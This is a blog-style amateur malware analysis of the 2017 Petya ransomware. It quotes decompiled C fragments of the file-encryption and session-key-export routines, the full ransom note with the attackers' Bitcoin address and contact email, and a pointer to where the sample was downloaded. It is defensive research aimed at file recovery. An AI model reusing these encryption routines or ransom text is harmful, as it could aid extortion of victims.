Day after Petya virus

Published on June 29, 2017

Day after Petya virus

I am not a writer, I am a reader. But I consider it necessary to share.

I’ll be brief, but excuse me. This opus is only a desire to share the result of 10-12 hours of sticking into the decompiled virus code.

Who cares, continued below.

From the very beginning (and this is about 13-00 on the 27th), after the first call from friends about the symptoms that appeared, I began to monitor the network for information. Unfortunately, it is still scarce.

Hours by 5 pm brought up the sistemnik.

So.

→ h ** ps: //gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759 - the virus file was taken from here.
→ h ** ps: //retdec.com/decompilation-run/ - here it was decompiled.

I’ll make a reservation right away - I’m not a writer, and even more so under windows, so I had to spend a lot of time studying the resulting code.

Actually two things that I discovered and want to share.

1. Files less than 1 MB (0x100000) are fully encrypted. More - only 1 megabyte is encrypted:

        // 0x100018da
        if (v6 <= lpFileMappingAttributes) {
            if (lpFileSize <= 0x100000) {  //тут проверяется размер файла
                // 0x10001958
                dwNumberOfBytesToMap = (struct _LARGE_INTEGER *)lpFileSize;
                pdwDataLen = dwNumberOfBytesToMap;
                dwMaximumSizeLow = 16 * (lpFileSize / 16 + 1);
                // branch -> 0x100018eb
                // 0x100018eb
                hFileMappingObject = CreateFileMappingW((char *)hFile2, (struct _SECURITY_ATTRIBUTES *)lpFileMappingAttributes, 4, lpFileMappingAttributes, dwMaximumSizeLow, (int16_t *)lpFileMappingAttributes);
                dwFileOffsetHigh = lpFileMappingAttributes;
                if ((int32_t)hFileMappingObject != dwFileOffsetHigh) {
                    // 0x100018ff
                    pbData = MapViewOfFile(hFileMappingObject, 6, dwFileOffsetHigh, dwFileOffsetHigh, (int32_t)dwNumberOfBytesToMap);
                    v4 = (int32_t)pbData;
                    hFile2 = v4;
                    hHash = lpFileMappingAttributes;
                    if (v4 != hHash) {
                        // 0x10001913
                        hKey = *(int32_t *)(a2 + 20);
                        v5 = CryptEncrypt(hKey, hHash, (int32_t)(struct _SECURITY_ATTRIBUTES *)1 % 2 != 0, hHash, pbData, (int32_t *)&pdwDataLen, dwMaximumSizeLow);
                        if (v5) {
                            // 0x1000192e
                            FlushViewOfFile((char *)hFile2, (int32_t)pdwDataLen);
                            // branch -> 0x10001938
                        }
                        // 0x10001938
                        UnmapViewOfFile((char *)hFile2);
                        // branch -> 0x1000193f
                    }
                    // 0x1000193f
                    CloseHandle(hFileMappingObject);
                    // branch -> 0x10001948
                }
                // 0x10001948
                handleClosed = CloseHandle(hFile);
                // branch -> 0x10001951
                // 0x10001951
                g8 = v1;
                g4 = v3;
                return (char *)handleClosed;
            }
        }
        // 0x100018e6
        pdwDataLen = (struct _LARGE_INTEGER *)0x100000; // тут устанавливается максимальный размер шифрования если файл бльше 1 мегабайта
        struct _SECURITY_ATTRIBUTES * v8 = (struct _SECURITY_ATTRIBUTES *)lpFileMappingAttributes;
        lpFileMappingAttributes2 = v8;
        v7 = v8;
        dwNumberOfBytesToMap2 = (struct _LARGE_INTEGER *)0x100000;
        dwMaximumSizeLow = 0x100000;
        // branch -> 0x100018eb
    }

I noticed the same thing while browsing encrypted files on a brought computer.

2. Each logical volume in the system is encrypted with its own key. In the root of each drive, a README.TXT file is created with the same contents that are displayed on the screen after encryption and after rebooting, as I understand it (I personally did not see the screen). But the key is different on the two sections of the drive that I picked.

Ooops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because
they have been encrypted. Perhaps you are busy looking for a way to recover
your files, but don't waste your time. Nobody can recover your files without
our decryption service.

We guarantee that you can recover all your files safely and easily.
All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send $ 300 worth of Bitcoin to the following address:

1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

2. Send your Bitcoin wallet ID and personal installation key to e-mail wowsmith123456@posteo.net.
Your personal installation key:

IOA + AQIAAA5mAAAApAAAuoxiZtYONU / XL0Yt / lsBOfNmT9WBDYQ8LsRCWJbQ3iTs
Ka1mVGVmMpJxO + bQmzmEwwiy1Mzsw2hVilFIK1kQoC8lEZPvV06HFGBeIaSAfrf6
6kxuvs7U / fDP6RUWt3hGT4KzUzjU7NhIYKg2crEXuJ9gmgIE6Rq1hSv6xpscqvvV
Fg4k0EHN3TS9hSOWbZXXsDe9H1r83M4LDHA + NJmVM7CKPCRFc82UIQNZY / CDz / db
1IknT / oiBDlDH8fHDr0Z215M3lEy / K7PC4NSk9c + oMP1rLm3ZeL0BbGTBPAZvTLI
LkKYVqRSYpN + Mp / rBn6w3 q15DNRlbGjm1i + == + ow

Here I would like to ask the help of specialists in encryption.


void function_10001c7f(void) {
    int32_t dwFlags = 0; // ebx
    int32_t hKey = *(int32_t *)(g3 + 20); // 0x10001ca0
    int32_t pdwDataLen = 0;
    int32_t v1;
    if (!CryptExportKey(hKey, *(int32_t *)(g3 + 12), 1, 0, NULL, &pdwDataLen)) {
        // 0x10001d2a
        g3 = (int32_t)NULL;
        g4 = v1;
        return;
    }
    char * memoryHandle = LocalAlloc(64, pdwDataLen); // 0x10001cb1
    if ((int32_t)memoryHandle == dwFlags) {
        // 0x10001d2a
        g3 = (int32_t)NULL;
        g4 = v1;
        return;
    }
    int32_t hExpKey = *(int32_t *)(g3 + 12); // 0x10001cc6
    int32_t hKey2 = *(int32_t *)(g3 + 20); // 0x10001cc9
    if (CryptExportKey(hKey2, hExpKey, 1, dwFlags, memoryHandle, &pdwDataLen)) {
        int32_t pcchString = dwFlags;
        bool v2 = CryptBinaryToStringW(memoryHandle, pdwDataLen, 1, (int16_t *)dwFlags, &pcchString); // 0x10001ce8
        if (v2) {
            char * memoryHandle2 = LocalAlloc(64, 2 * pcchString); // 0x10001cf6
            int32_t hMem = (int32_t)memoryHandle2; // 0x10001cf6_6
            if (hMem == dwFlags) {
                // 0x10001d21
                LocalFree(memoryHandle);
                // branch -> 0x10001d2a
                // 0x10001d2a
                g3 = (int32_t)NULL;
                g4 = v1;
                return;
            }

The third parameter of the CryptExportKey function is 1, which is the export of the session key. And this key, as I understand it, is stored in README.TXT.

Actually the question is - is it possible to import it, and decrypt the files? This is not a public key. It is clear that if you gave privat there would be no problem.

Actually, I paid more attention to encryption functions, the rest did not interest me.

Well, the opinion of a simple layman - this attack is a continuation of May, as a result of which, apparently, the goal was not achieved. Because on wallets from the last attack, about 160-180 thousand were not touched. If the goal was to receive money, they would already have started laundering it. For a little more than a day, a little more than $ 10,000 was transferred to the 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX wallet. This, of course, is a consequence of the fact that the last time no one received any decryption keys.

I hope my first article is not the last. I will gladly correct the errors that have arisen.